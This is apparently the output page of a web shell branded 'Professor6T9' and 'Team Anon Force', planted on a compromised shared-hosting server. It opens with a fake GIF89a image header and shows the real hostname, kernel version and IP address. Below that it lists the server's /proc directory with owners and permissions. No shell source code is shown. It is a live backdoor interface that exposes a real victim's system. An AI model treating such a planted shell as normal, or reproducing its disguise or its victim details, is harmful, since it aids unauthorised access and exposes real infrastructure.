GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux altar25.supremepanel25.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
 LiteSpeed
 170.10.161.140
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-07-25 12:52:42
.. dir - root/root 0755 2025-12-09 10:20:18
1755531 dir - i8872627/i8872627 0555 2026-02-01 03:55:09
1774241 dir - i8872627/i8872627 0555 2026-02-01 03:55:09
1775345 dir - i8872627/i8872627 0555 2026-02-01 03:55:05
3660425 dir - i8872627/i8872627 0555 2026-02-01 03:55:10
978903 dir - i8872627/i8872627 0555 2026-02-01 03:56:15
acpi dir - root/root 0555 2025-07-25 12:52:44
bus dir - root/root 0555 2025-07-25 12:52:53
driver dir - root/root 0555 2026-02-01 03:56:19
fs dir - root/root 0555 2025-07-25 12:52:52
irq dir - root/root 0555 2025-07-25 12:52:46
kcare dir - root/root 0555 2026-02-01 03:56:19
lve dir - root/root 0555 2026-02-01 03:56:13
net link - i8872627/i8872627 0555 2026-02-01 03:56:19
scsi dir - root/root 0555 2025-07-25 12:52:53
self link - i8872627/i8872627 0555 2026-02-01 03:55:09
sys dir - root/root 0555 2025-07-25 12:52:43
sysvipc dir - root/root 0555 2026-02-01 03:56:19
thread-self link - i8872627/i8872627 0555 2026-02-01 03:56:14
tty dir - root/root 0555 2026-02-01 03:56:19
buddyinfo 0 B root/root 0444 2026-02-01 03:56:19
cgroups 0 B root/root 0444 2026-02-01 03:56:19
cmdline inode/x-empty 0 B root/root 0444 2026-02-01 03:56:13
consoles 0 B root/root 0444 2026-02-01 03:56:19
cpuinfo inode/x-empty 0 B root/root 0444 2026-02-01 03:56:13
crypto 0 B root/root 0444 2026-02-01 03:56:19
devices 0 B root/root 0444 2026-02-01 03:56:19
diskstats 0 B root/root 0444 2026-02-01 03:56:15
dma 0 B root/root 0444 2026-02-01 03:56:19
execdomains 0 B root/root 0444 2026-02-01 03:56:19
fb 0 B root/root 0444 2026-02-01 03:56:19
filesystems inode/x-empty 0 B root/root 0444 2026-02-01 03:54:57
interrupts 0 B root/root 0444 2026-02-01 03:56:19
iomem 0 B root/root 0444 2026-02-01 03:56:19
ioports 0 B root/root 0444 2026-02-01 03:56:19
kallsyms 0 B root/root 0444 2025-07-25 12:52:53
kcore 128 TB root/root 0400 2025-07-25 12:52:43
key-users 0 B root/root 0444 2026-02-01 03:56:19
keys 0 B root/root 0444 2026-02-01 03:56:19
kmsg 0 B root/root 0400 2026-02-01 03:56:19
kpagecgroup 0 B root/root 0400 2026-02-01 03:56:19
kpagecount 0 B root/root 0400 2026-02-01 03:56:19
kpageflags 0 B root/root 0400 2026-02-01 03:56:19
loadavg inode/x-empty 0 B root/root 0444 2026-02-01 03:56:16
locks 0 B root/root 0444 2026-02-01 03:56:19
mdstat 0 B root/root 0444 2026-02-01 03:56:19
meminfo inode/x-empty 0 B root/root 0444 2026-02-01 03:56:16
misc 0 B root/root 0444 2026-02-01 03:56:19
module_stats 0 B root/root 0444 2026-02-01 03:56:19
modules 0 B root/root 0444 2026-02-01 03:56:19
mounts inode/x-empty 0 B i8872627/i8872627 0444 2026-02-01 03:56:19
mtrr 0 B root/root 0644 2025-07-25 12:52:53
pagetypeinfo 0 B root/root 0400 2026-02-01 03:56:19
partitions 0 B root/root 0444 2026-02-01 03:56:16
sched_debug 0 B root/root 0444 2026-02-01 03:56:19
schedstat 0 B root/root 0444 2026-02-01 03:56:19
slabinfo 0 B root/root 0400 2026-02-01 03:56:19
softirqs 0 B root/root 0444 2026-02-01 03:56:19
stat inode/x-empty 0 B root/root 0444 2026-02-01 03:55:03
swaps 0 B root/root 0444 2025-07-25 12:52:43
sysrq-trigger 0 B root/root 0200 2025-07-25 12:52:53
timer_list 0 B root/root 0400 2026-02-01 03:56:19
uptime inode/x-empty 0 B root/root 0444 2026-02-01 03:56:19
version inode/x-empty 0 B root/root 0444 2026-02-01 03:56:19
vmallocinfo 0 B root/root 0400 2026-02-01 03:56:19
vmstat 0 B root/root 0444 2026-02-01 03:56:15
zoneinfo 0 B root/root 0444 2026-02-01 03:56:19
© Professor6T9